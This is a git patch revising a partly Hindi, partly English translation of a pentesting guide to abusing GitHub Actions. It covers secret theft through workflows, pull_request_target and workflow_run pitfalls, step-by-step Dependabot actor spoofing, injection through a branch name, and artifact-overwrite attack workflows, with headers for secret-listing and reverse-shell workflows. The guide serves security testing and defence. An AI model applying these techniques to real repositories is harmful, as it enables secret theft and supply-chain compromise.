From d9f1c1f7a14f54e59bbcf4b4b8ce5bac0c6dd61c Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 21:55:05 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act --- .../abusing-github-actions/README.md | 288 +++++++++++------- .../gh-actions-context-script-injections.md | 93 ++++++ .../basic-github-information.md | 241 ++++++++------- 3 files changed, 397 insertions(+), 225 deletions(-) diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index 835da65f5..67d1500c0 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -1,58 +1,58 @@ -# Github Actions का दुरुपयोग +# Abusing Github Actions {{#include ../../../banners/hacktricks-training.md}} -## उपकरण +## टूल्स -निम्नलिखित उपकरण Github Action वर्कफ़्लो खोजने और यहां तक कि कमजोर वर्कफ़्लो खोजने के लिए उपयोगी हैं: +The following tools are useful to find Github Action workflows and even find vulnerable ones: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) -- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - इसके चेकलिस्ट को भी देखें [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) +- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) -## बुनियादी जानकारी +## मूल जानकारी -इस पृष्ठ पर आप पाएंगे: +इस पृष्ठ में आप पाएँगे: -- एक **सारांश सभी प्रभावों** का जब एक हमलावर Github Action तक पहुँचने में सफल होता है -- **एक्शन तक पहुँचने के विभिन्न तरीके**: -- एक्शन बनाने के लिए **अनुमतियाँ** होना -- **पुल अनुरोध** से संबंधित ट्रिगर्स का दुरुपयोग करना -- **अन्य बाहरी पहुँच** तकनीकों का दुरुपयोग करना -- पहले से समझौता किए गए रेपो से **पिवोटिंग** करना -- अंत में, **एक्शन के अंदर से दुरुपयोग करने के लिए पोस्ट-एक्सप्लॉइटेशन तकनीकों** के बारे में एक अनुभाग (उपरोक्त प्रभावों का कारण) +- किसी attacker द्वारा Github Action तक पहुँचने पर होने वाले **सभी प्रभावों का सारांश** +- एक action तक पहुँचने के विभिन्न तरीके: +- action बनाने की **permissions** होना +- **pull request** संबंधित triggers का दुरुपयोग +- अन्य **external access** तकनीकों का दुरुपयोग +- पहले से compromised repo से **Pivoting** +- अंत में, action के अंदर से दुरुपयोग करने के लिए **post-exploitation techniques** के बारे में एक सेक्शन (जो ऊपर बताए गए प्रभावों का कारण बनते हैं) ## प्रभावों का सारांश -[**Github Actions के बारे में बुनियादी जानकारी**](../basic-github-information.md#github-actions) के लिए एक परिचय। +For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions). -यदि आप **GitHub Actions में मनमाना कोड निष्पादित कर सकते हैं** एक **रेपो** के भीतर, तो आप सक्षम हो सकते हैं: +If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to: -- **गुप्त जानकारी चुराना** जो पाइपलाइन में माउंट की गई है और **पाइपलाइन के विशेषाधिकारों का दुरुपयोग** करके बाहरी प्लेटफार्मों, जैसे AWS और GCP, तक अनधिकृत पहुँच प्राप्त करना। -- **डिप्लॉयमेंट्स और अन्य **कलाकृतियों** को समझौता करना। -- यदि पाइपलाइन संपत्तियों को तैनात या संग्रहीत करती है, तो आप अंतिम उत्पाद को बदल सकते हैं, जिससे एक सप्लाई चेन हमला सक्षम हो सकता है। -- **कस्टम वर्कर्स में कोड निष्पादित करना** ताकि कंप्यूटिंग शक्ति का दुरुपयोग किया जा सके और अन्य सिस्टम में पिवोट किया जा सके। -- `GITHUB_TOKEN` से संबंधित अनुमतियों के आधार पर **रेपो कोड को ओवरराइट करना**। +- pipeline में mounted **secrets** चुरा सकते हैं और बाहरी प्लेटफ़ॉर्म्स, जैसे AWS और GCP तक unauthorized access पाने के लिए pipeline के privileges का **abuse** कर सकते हैं। +- deployments और अन्य **artifacts** को compromise कर सकते हैं। +- यदि pipeline assets को deploy या store करती है, तो आप final product में बदलाव कर सकते हैं, जिससे supply chain attack संभव हो जाता है। +- custom workers में code execute करके computing power का दुरुपयोग कर सकते हैं और अन्य सिस्टमों की ओर pivot कर सकते हैं। +- `GITHUB_TOKEN` से जुड़ी permissions के आधार पर repository के code को overwrite कर सकते हैं। ## GITHUB_TOKEN -यह "**गुप्त**" (`${{ secrets.GITHUB_TOKEN }}` और `${{ github.token }}` से आने वाला) तब दिया जाता है जब व्यवस्थापक इस विकल्प को सक्षम करता है: +This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
-यह टोकन वही है जो एक **Github एप्लिकेशन उपयोग करेगा**, इसलिए यह समान एंडपॉइंट्स तक पहुँच सकता है: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github को एक [**फ्लो**](https://github.com/github/roadmap/issues/74) जारी करना चाहिए जो **क्रॉस-रेपो** पहुँच की अनुमति देता है, ताकि एक रेपो अन्य आंतरिक रेपोज़ तक पहुँच सके `GITHUB_TOKEN` का उपयोग करके। +> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. -आप इस टोकन की संभावित **अनुमतियों** को देख सकते हैं: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) +You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -ध्यान दें कि टोकन **काम पूरा होने के बाद समाप्त हो जाता है**।\ -ये टोकन इस तरह दिखते हैं: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` +Note that the token **expires after the job has completed**.\ +These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -इस टोकन के साथ आप कुछ दिलचस्प चीजें कर सकते हैं: +Some interesting things you can do with this token: {{#tabs }} {{#tab name="Merge PR" }} @@ -91,11 +91,11 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> ध्यान दें कि कई अवसरों पर आप **Github Actions envs या secrets के अंदर github उपयोगकर्ता टोकन पा सकते हैं**। ये टोकन आपको रिपॉजिटरी और संगठन पर अधिक विशेषाधिकार दे सकते हैं। +> ध्यान दें कि कई मौकों पर आप **github user tokens inside Github Actions envs or in the secrets** पा सकते हैं। ये tokens आपको repository और organization पर अधिक privileges दे सकते हैं।
-Github Action आउटपुट में secrets की सूची +Github Action output में secrets सूचीबद्ध करें ```yaml name: list_env on: @@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-गुप्तों के साथ रिवर्स शेल प्राप्त करें +secrets के साथ reverse shell प्राप्त करें ```yaml name: revshell on: @@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-यह संभव है कि आप अन्य उपयोगकर्ताओं के रिपॉजिटरी में Github Token को दिए गए अनुमतियों की जांच करें **एक्शन के लॉग** की जांच करके: +It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
## अनुमत निष्पादन > [!NOTE] -> यह Github एक्शन को समझौता करने का सबसे आसान तरीका होगा, क्योंकि इस मामले में यह मान लिया गया है कि आपके पास **संगठन में एक नया रिपॉजिटरी बनाने का अधिकार** है, या आपके पास **एक रिपॉजिटरी पर लिखने के अधिकार** हैं। +> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**. > -> यदि आप इस परिदृश्य में हैं, तो आप बस [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) की जांच कर सकते हैं। +> यदि आप इस परिदृश्य में हैं तो आप बस [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) देख सकते हैं। -### रिपॉजिटरी निर्माण से निष्पादन +### Repo Creation से निष्पादन -यदि संगठन के सदस्य **नए रिपॉजिटरी बना सकते हैं** और आप github एक्शन निष्पादित कर सकते हैं, तो आप **एक नया रिपॉजिटरी बना सकते हैं और संगठन स्तर पर सेट किए गए रहस्यों को चुरा सकते हैं**। +यदि किसी संगठन के सदस्य **create new repos** कर सकते हैं और आप github actions चला सकते हैं, तो आप **create a new repo and steal the secrets set at organization level** कर सकते हैं। -### नए शाखा से निष्पादन +### New Branch से निष्पादन -यदि आप **एक रिपॉजिटरी में एक नई शाखा बना सकते हैं जिसमें पहले से एक Github Action** कॉन्फ़िगर किया गया है, तो आप इसे **संशोधित** कर सकते हैं, **सामग्री अपलोड** कर सकते हैं, और फिर **नई शाखा से उस एक्शन को निष्पादित** कर सकते हैं। इस तरह आप **रिपॉजिटरी और संगठन स्तर के रहस्यों को निकाल सकते हैं** (लेकिन आपको यह जानना होगा कि उन्हें क्या कहा जाता है)। +यदि आप किसी repository में **create a new branch in a repository that already contains a Github Action** configured कर सकते हैं, तो आप इसे **modify** कर सकते हैं, content को **upload** कर सकते हैं, और फिर उस action को **execute that action from the new branch** कर सकते हैं। इस तरह आप **exfiltrate repository and organization level secrets** कर सकते हैं (लेकिन आपको पता होना चाहिए कि उन्हें क्या कहा जाता है)। -आप संशोधित एक्शन को **हाथ से** निष्पादित कर सकते हैं, जब **PR बनाया जाता है** या जब **कुछ कोड पुश किया जाता है** (इस पर निर्भर करता है कि आप कितने शोर करना चाहते हैं): +> [!WARNING] +> Any restriction implemented only inside workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions. + +आप संशोधित action को **manually,** जब **PR is created** या जब **some code is pushed** के समय executable बना सकते हैं (निर्भर करता है कि आप कितना noisy होना चाहते हैं): ```yaml on: workflow_dispatch: # Launch manually @@ -177,49 +180,49 @@ branches: ``` --- -## Forked Execution +## Forked निष्पादन > [!NOTE] -> विभिन्न ट्रिगर्स हैं जो एक हमलावर को **दूसरे रिपॉजिटरी के Github Action को निष्पादित** करने की अनुमति दे सकते हैं। यदि उन ट्रिगर करने योग्य क्रियाओं को खराब तरीके से कॉन्फ़िगर किया गया है, तो एक हमलावर उन्हें समझौता करने में सक्षम हो सकता है। +> अलग-अलग ट्रिगर्स हैं जो एक attacker को **किसी अन्य रिपॉज़िटरी के Github Action को execute** करने की अनुमति दे सकते हैं। अगर उन triggerable actions को ठीक से configured नहीं किया गया है, तो एक attacker उन्हें compromise कर सकता है। ### `pull_request` -कार्यप्रवाह ट्रिगर **`pull_request`** हर बार कार्यप्रवाह को निष्पादित करेगा जब एक पुल अनुरोध प्राप्त होता है, कुछ अपवादों के साथ: डिफ़ॉल्ट रूप से यदि यह **पहली बार** है जब आप **सहयोग कर रहे हैं**, तो कुछ **रखरखावकर्ता** को कार्यप्रवाह के **निष्पादन** को **स्वीकृत** करने की आवश्यकता होगी: +The workflow trigger **`pull_request`** हर बार workflow को execute करेगा जब एक pull request प्राप्त होता है, कुछ exceptions के साथ: डिफ़ॉल्ट रूप से अगर यह आपकी **पहली बार** collaboration है, तो किसी **maintainer** को workflow के **run** को **approve** करना होगा:
> [!NOTE] -> चूंकि **डिफ़ॉल्ट सीमा** **पहली बार** योगदानकर्ताओं के लिए है, आप **एक वैध बग/टाइपो को ठीक करने** में योगदान कर सकते हैं और फिर **अपने नए `pull_request` विशेषाधिकारों का दुरुपयोग करने के लिए अन्य PR भेज सकते हैं**। +> चूंकि यह **default limitation** **first-time** contributors के लिए है, आप एक वैध bug/typo fix करके contribute कर सकते हैं और फिर अपने नए `pull_request` privileges का दुरुपयोग करने के लिए **other PRs** भेज सकते हैं। > -> **मैंने इसका परीक्षण किया और यह काम नहीं करता**: ~~एक और विकल्प होगा किसी ऐसे व्यक्ति का नाम लेकर एक खाता बनाना जिसने परियोजना में योगदान दिया और उसका खाता हटा दिया।~~ +> **मैंने इसे टेस्ट किया और यह काम नहीं करता**: ~~एक और विकल्प यह होगा कि उस व्यक्ति के नाम से एक account बनाया जाए जिसने प्रोजेक्ट में योगदान दिया था और फिर उसने अपना account delete कर दिया था।~~ -इसके अलावा, डिफ़ॉल्ट रूप से **लिखने की अनुमति** और **गुप्त पहुंच** को लक्षित रिपॉजिटरी में रोकता है जैसा कि [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) में उल्लेख किया गया है: +Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): -> `GITHUB_TOKEN` को छोड़कर, **गुप्त को रनर को नहीं भेजा जाता** जब एक कार्यप्रवाह **फोर्क की गई** रिपॉजिटरी से ट्रिगर किया जाता है। **`GITHUB_TOKEN` में पुल अनुरोधों में **पढ़ने की केवल अनुमति** होती है **फोर्क की गई रिपॉजिटरी** से। +> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. -एक हमलावर Github Action की परिभाषा को संशोधित कर सकता है ताकि मनमाने कार्यों को निष्पादित किया जा सके और मनमाने कार्यों को जोड़ा जा सके। हालाँकि, वह गुप्त चुराने या रिपॉजिटरी को ओवरराइट करने में सक्षम नहीं होगा क्योंकि उल्लेखित सीमाएँ हैं। +एक attacker Github Action की definition को modify करके arbitrary चीज़ें execute करने और arbitrary actions जोड़ने की कोशिश कर सकता है। हालांकि, उपरोक्त सीमाओं के कारण वह secrets चोरी नहीं कर पाएगा और repo को overwrite नहीं कर पाएगा। > [!CAUTION] -> **हाँ, यदि हमलावर PR में उस github action को बदलता है जो ट्रिगर किया जाएगा, तो उसका Github Action उपयोग किया जाएगा और मूल रिपॉजिटरी का नहीं!** +> **हाँ, अगर attacker ने PR में उस github action को बदल दिया है जो trigger होगा, तो उसका Github Action ही उपयोग किया जाएगा न कि origin repo का!** -चूंकि हमलावर द्वारा निष्पादित कोड पर भी नियंत्रण होता है, भले ही `GITHUB_TOKEN` पर गुप्त या लिखने की अनुमति न हो, एक हमलावर उदाहरण के लिए **दुष्ट कलाकृतियों को अपलोड** कर सकता है। +क्योंकि attacker उस code को भी control करता है जो execute हो रहा है, भले ही `GITHUB_TOKEN` पर secrets या write permissions न हों, attacker उदाहरण के लिए **upload malicious artifacts** कर सकता है। ### **`pull_request_target`** -कार्यप्रवाह ट्रिगर **`pull_request_target`** को लक्षित रिपॉजिटरी में **लिखने की अनुमति** और **गुप्तों तक पहुंच** होती है (और अनुमति नहीं मांगता)। +The workflow trigger **`pull_request_target`** को target repository पर **write permission** और **access to secrets** मिलता है (और यह permission नहीं मांगता)। -ध्यान दें कि कार्यप्रवाह ट्रिगर **`pull_request_target`** **बेस संदर्भ में चलता है** और PR द्वारा दिए गए संदर्भ में नहीं (ताकि **अविश्वसनीय कोड को निष्पादित न किया जा सके**)। `pull_request_target` के बारे में अधिक जानकारी के लिए [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target) देखें।\ -इसके अलावा, इस विशिष्ट खतरनाक उपयोग के बारे में अधिक जानकारी के लिए इस [**github ब्लॉग पोस्ट**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/) की जांच करें। +ध्यान दें कि workflow trigger **`pull_request_target`** **base context** में चलता है और PR द्वारा दिए गए context में नहीं (ताकि **untrusted code** execute न हो). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -यह लग सकता है कि चूंकि **निष्पादित कार्यप्रवाह** वह है जो **बेस** में परिभाषित है और **PR में नहीं** है, इसलिए **`pull_request_target`** का उपयोग करना **सुरक्षित** है, लेकिन कुछ **मामले हैं जहाँ यह नहीं है**। +यह ऐसा लग सकता है कि क्योंकि **executed workflow** वही है जो **base** में defined है और **PR** में नहीं, इसलिए **`pull_request_target`** का उपयोग सुरक्षित है, पर कुछ मामले ऐसे हैं जहाँ यह सुरक्षित नहीं होता। -और यह एक **गुप्तों तक पहुंच** होगी। +और इस एक को **secrets** तक **access** होगा। ### `workflow_run` -[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) ट्रिगर एक कार्यप्रवाह को एक अलग कार्यप्रवाह से चलाने की अनुमति देता है जब यह `पूर्ण`, `अनुरोधित` या `प्रगति में` हो। +The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger आपको एक workflow को दूसरे workflow से चलाने की अनुमति देता है जब वह `completed`, `requested` या `in_progress` हो। -इस उदाहरण में, एक कार्यप्रवाह को "Run Tests" कार्यप्रवाह के पूरा होने के बाद चलाने के लिए कॉन्फ़िगर किया गया है: +In this example, a workflow is configured to run after the separate "Run Tests" workflow completes: ```yaml on: workflow_run: @@ -229,18 +232,18 @@ types: ``` Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. -This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\ -The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**. +इस तरह के workflow पर हमला किया जा सकता है अगर यह किसी ऐसे **workflow** पर **depend** करता है जिसे बाहरी उपयोगकर्ता द्वारा **`pull_request`** या **`pull_request_target`** के माध्यम से **trigger** किया जा सकता है। कुछ कमजोर उदाहरण [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** पहला उदाहरण इस तरह का है कि **`workflow_run`** द्वारा ट्रिगर किया गया workflow attacker का code डाउनलोड कर रहा है: `${{ github.event.pull_request.head.sha }}`\ +दूसरा उदाहरण इसमें है कि **untrusted** code से एक **artifact** को **`workflow_run`** workflow को पास किया जाता है और उस artifact की सामग्री का उपयोग इस तरह किया जाता है कि यह **vulnerable to RCE** बन जाता है। ### `workflow_call` TODO -TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR +TODO: Check if when executed from a `pull_request` the used/downloaded code if the one from the origin or from the forked PR ## Abusing Forked Execution -We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused: +हमने उन सभी तरीकों का ज़िक्र किया है जिनसे एक बाहरी attacker किसी github workflow को execute करने में कामयाब हो सकता है, अब आइए देखें कि ये executions, अगर गलत तरीके से configured हों, तो किस तरह दुरुपयोग किए जा सकते हैं: ### Untrusted checkout execution @@ -249,7 +252,7 @@ In the case of **`pull_request`,** the workflow is going to be executed in the * In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**. > [!CAUTION] -> However, if the **action** has an **explicit PR checkout** that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded): +> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded): 
# INSECURE. Provided as an example only.
 on:
@@ -314,16 +317,18 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: gh pr merge $ -d -m
 ```
-यह एक समस्या है क्योंकि `github.actor` फ़ील्ड उस उपयोगकर्ता को दर्शाती है जिसने वर्कफ़्लो को ट्रिगर करने वाली नवीनतम घटना का कारण बना। और `dependabot[bot]` उपयोगकर्ता को PR को संशोधित करने के कई तरीके हैं। उदाहरण के लिए:
+Which is a problem because the `github.actor` field contains the user who caused the latest event that triggered the workflow. -> यह समस्या है क्योंकि `github.actor` फ़ील्ड उस उपयोगकर्ता को दर्शाता है जिसने workflow को ट्रिगर करने वाला नवीनतम इवेंट उत्पन्न किया।
 
-- पीड़ित रिपॉजिटरी को फोर्क करें
-- अपनी कॉपी में दुर्भावनापूर्ण पेलोड जोड़ें
-- अपने फोर्क पर एक पुरानी निर्भरता जोड़कर Dependabot को सक्षम करें। Dependabot एक शाखा बनाएगा जो दुर्भावनापूर्ण कोड के साथ निर्भरता को ठीक करेगा।
-- उस शाखा से पीड़ित रिपॉजिटरी के लिए एक पुल अनुरोध खोलें (PR उपयोगकर्ता द्वारा बनाया जाएगा इसलिए अभी कुछ नहीं होगा)
-- फिर, हमलावर अपने फोर्क में Dependabot द्वारा खोले गए प्रारंभिक PR पर वापस जाता है और `@dependabot recreate` चलाता है
-- फिर, Dependabot उस शाखा में कुछ क्रियाएँ करता है, जिसने पीड़ित रिपॉजिटरी पर PR को संशोधित किया, जिससे `dependabot[bot]` नवीनतम घटना का अभिनेता बन जाता है जिसने वर्कफ़्लो को ट्रिगर किया (और इसलिए, वर्कफ़्लो चलता है)।
+And There are several ways to make the `dependabot[bot]` user to modify a PR. For example: -> और `dependabot[bot]` user को PR modify करने के कई तरीके हैं। उदाहरण के लिए:
 
-आगे बढ़ते हैं, अगर Github Action के बजाय एक कमांड इंजेक्शन होता जैसे:
+- Fork the victim repository
+- Add the malicious payload to your copy
+- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code.
+- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet)
+- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate`
+- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs).
+
+Moving on, what if instead of merging the Github Action would have a command injection like in: -> आगे बढ़ते हुए, क्या होगा अगर merge करने के बजाय Github Action में इस तरह का command injection हो:
 ```yaml
 on: pull_request_target
 jobs:
@@ -333,24 +338,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: echo ${ { github.event.pull_request.head.ref }}
 ```
-अच्छा, मूल ब्लॉगपोस्ट इस व्यवहार का दुरुपयोग करने के लिए दो विकल्प प्रस्तुत करता है, जिसमें दूसरा है:
+ठीक है, मूल ब्लॉगपोस्ट इस व्यवहार का दुरुपयोग करने के लिए दो विकल्प प्रस्तावित करती है, जिनमें से दूसरा है:
 
-- पीड़ित रिपॉजिटरी को फोर्क करें और कुछ पुराने निर्भरता के साथ Dependabot को सक्षम करें।
-- दुर्भावनापूर्ण शेल इंजेक्शन कोड के साथ एक नई शाखा बनाएं।
-- उस शाखा को रिपॉजिटरी की डिफ़ॉल्ट शाखा के रूप में बदलें।
-- इस शाखा से पीड़ित रिपॉजिटरी के लिए एक PR बनाएं।
-- PR में `@dependabot merge` चलाएं जिसे Dependabot ने अपने फोर्क में खोला था।
-- Dependabot आपके फोर्क की डिफ़ॉल्ट शाखा में अपने परिवर्तनों को मर्ज करेगा, पीड़ित रिपॉजिटरी में PR को अपडेट करेगा और अब `dependabot[bot]` को कार्यप्रवाह को ट्रिगर करने वाले नवीनतम घटना का अभिनेता बना देगा और एक दुर्भावनापूर्ण शाखा नाम का उपयोग करेगा।
+- Fork the victim repository और Dependabot को किसी outdated dependency के साथ enable करें।
+- एक नया branch बनाएं जिसमें malicious shell injection code हो।
+- repo का default branch उस branch में बदल दें
+- इस branch से victim repository में एक PR बनाएं।
+- Run `@dependabot merge` in the PR Dependabot opened in his fork.
+- Dependabot आपकी forked repository के default branch में अपने changes merge कर देगा, victim repository में PR को update कर देगा, अब `dependabot[bot]` उस latest event का actor बन जाएगा जिसने workflow को trigger किया और malicious branch name का उपयोग करेगा।
 
-### कमजोर तृतीय पक्ष Github क्रियाएँ
+### कमज़ोर तृतीय-पक्ष Github Actions
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
-जैसा कि [**इस ब्लॉग पोस्ट**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) में उल्लेख किया गया है, यह Github क्रिया विभिन्न कार्यप्रवाहों और यहां तक कि रिपॉजिटरी से कलाकृतियों तक पहुंचने की अनुमति देती है।
+As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
 
-समस्या यह है कि यदि **`path`** पैरामीटर सेट नहीं किया गया है, तो कलाकृति वर्तमान निर्देशिका में निकाली जाती है और यह उन फ़ाइलों को ओवरराइट कर सकती है जो बाद में कार्यप्रवाह में उपयोग की जा सकती हैं या यहां तक कि निष्पादित की जा सकती हैं। इसलिए, यदि कलाकृति कमजोर है, तो एक हमलावर इसका दुरुपयोग करके अन्य कार्यप्रवाहों को समझौता कर सकता है जो कलाकृति पर भरोसा करते हैं।
+समस्या यह है कि अगर **`path`** parameter सेट नहीं है, तो artifact वर्तमान directory में extract हो जाता है और यह उन फ़ाइलों को overwrite कर सकता है जिन्हें बाद में workflow में इस्तेमाल या execute किया जा सकता है। इसलिए, अगर Artifact vulnerable है, तो attacker इसका दुरुपयोग करके उस Artifact पर भरोसा करने वाले अन्य workflows को compromise कर सकता है।
 
-कमजोर कार्यप्रवाह का उदाहरण:
+कमज़ोर workflow का उदाहरण:
 ```yaml
 on:
 workflow_run:
@@ -373,7 +378,7 @@ with:
 name: artifact
 path: ./script.py
 ```
-इस वर्कफ़्लो के साथ हमला किया जा सकता है:
+इसे इस workflow के साथ हमला किया जा सकता है:
 ```yaml
 name: "some workflow"
 on: pull_request
@@ -390,35 +395,35 @@ path: ./script.py
 ```
 ---
 
-## अन्य बाहरी पहुँच
+## Other External Access
 
-### हटाए गए Namespace Repo Hijacking
+### Deleted Namespace Repo Hijacking
 
-यदि एक खाता अपना नाम बदलता है, तो कुछ समय बाद कोई अन्य उपयोगकर्ता उस नाम के साथ एक खाता पंजीकृत कर सकता है। यदि एक रिपॉजिटरी के पास **नाम परिवर्तन से पहले 100 से कम सितारे** थे, तो Github नए पंजीकृत उपयोगकर्ता को उसी नाम के साथ एक **रिपॉजिटरी बनाने** की अनुमति देगा जो हटाई गई थी।
+अगर कोई account अपना नाम बदलता है तो कुछ समय बाद कोई और user उसी नाम के साथ account register कर सकता है। अगर किसी repository के पास नाम बदलने से पहले **100 से कम stars** थे, तो Github नए registered user को वही नाम देकर हटाए गए repository के समान **repository with the same name** बनाने की अनुमति देगा।
 
 > [!CAUTION]
-> इसलिए यदि कोई क्रिया एक गैर-मौजूद खाते से एक रिपॉजिटरी का उपयोग कर रही है, तो यह संभव है कि एक हमलावर उस खाते को बना सके और क्रिया को समझौता कर सके।
+> इसलिए यदि कोई action किसी non-existent account के repo का उपयोग कर रहा है, तो यह अभी भी संभव है कि एक attacker वह account बना ले और action को compromise कर दे।
 
-यदि अन्य रिपॉजिटरी **इस उपयोगकर्ता के रिपॉजिटरी से निर्भरताएँ** का उपयोग कर रही हैं, तो एक हमलावर उन्हें हाइजैक कर सकेगा। यहाँ आपके पास एक अधिक पूर्ण व्याख्या है: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+यदि अन्य repositories इस user के repos से **dependencies** उपयोग कर रहे थे, तो attacker उन्हें hijack कर पाएगा। यहां एक अधिक विस्तृत explanation है: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
 ---
 
 ## Repo Pivoting
 
 > [!NOTE]
-> इस अनुभाग में हम उन तकनीकों के बारे में बात करेंगे जो **एक रिपॉजिटरी से दूसरी रिपॉजिटरी में पिवट** करने की अनुमति देंगी, मानते हुए कि हमारे पास पहले वाले पर कुछ प्रकार की पहुँच है (पिछली अनुभाग देखें)।
+> इस सेक्शन में हम उन techniques के बारे में बात करेंगे जो हमें पहले repo पर किसी तरह की access होने की स्थिति में एक repo से दूसरे repo में **pivot** करने की अनुमति देंगी (पिछले सेक्शन को देखें)।
 
-### कैश पॉइज़निंग
+### Cache Poisoning
 
-एक कैश **समान शाखा में वर्कफ़्लो रन के बीच** बनाए रखा जाता है। जिसका अर्थ है कि यदि एक हमलावर **एक पैकेज को समझौता करता है** जो फिर कैश में संग्रहीत होता है और **डाउनलोड** और **अधिक विशेषाधिकार प्राप्त** वर्कफ़्लो द्वारा निष्पादित किया जाता है, तो वह उस वर्कफ़्लो को भी **समझौता** कर सकेगा।
